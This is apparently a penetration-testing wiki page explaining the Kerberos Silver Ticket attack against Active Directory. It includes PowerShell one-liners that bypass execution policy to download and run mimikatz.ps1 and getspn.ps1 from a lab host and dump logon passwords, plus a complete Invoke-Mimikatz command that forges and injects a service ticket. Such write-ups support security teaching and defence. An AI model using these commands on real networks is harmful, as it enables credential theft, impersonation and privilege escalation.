Silver Ticket
Intro
This attack includes forging a cracked TGS Kerberos ticket in order to impersonate another user and escalate privileges from the perspective of a service the TGS was cracked for.
On the last step of the process when the client sends a TGS to the service that is where we can send a forged TGS and get access directly to the service and get a service ticket using this method.

Silver ticket abuses the part of Kerberos authentication where a client sends a Valid TGS to get a service ticket. So if an attacker knows the hash of the service account he can forge a fake service ticket with it. Kerberos will trust it since it can be decrypted by the service as its signed by the NTLM hash of the service.
Dumping Password Hash
If an attacker can gain admin rights to the computer (to gain debug access) or be able to run code as local System, the attacker can dump the AD computer account password hash from the system using Mimikatz (the NTLM password hash is used to encrypt RC4 Kerberos tickets)
run this with admin privileges to load mimikatz into memory and dump user hashes:
powershell -ep bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.56.1/mimikatz.ps1'); invoke-mimikatz -command 'sekurlsa::logonpasswords'"

Target – This is the host, which can be copied from the SPN value.
powershell -ep bypass -c "iex(new-object system.net.webclient).downloadstring('http://192.168.56.1/getspn.ps1')"

Forging Silver Ticket
the syntax for mimikatz command is:
Invoke-Mimikatz -Command 'kerberos::golden /domain:megabank.local /sid:S-1-5-21-4081310294-3909750490-1069944866-1156 /target:sql.megabank.local:60111 /service:sql /rc4:77a5ee35032ad22d515577e7bd8e56c7 /user:paul /ptt'
/domain : domain name
/sid: domain SID value
/target: target service SPN
/service: service name
/user: username to create ticket for
/rc4: NTLM hash, will use
/id , /groups : these are to specify user id and group but this is optional
/endin : specify ticket lifetime in minutes (default 10 years)
/ptt : stands for pass the ticket it will load the ticket in memory. If we want to extract ticket on disk we can use /ticket option instead.
Now if we run the command above we get silver ticket that is created and stored in our current session
Now if we try to access the file system on sql.megabank.local machine. We can do it because we already have the tickets to authenticate us.
Host Exploitation with Silver Ticket
By issuing a klist command you can see that we now have the ticket for sql service.

more attack scenarios with silver tickets
Last updated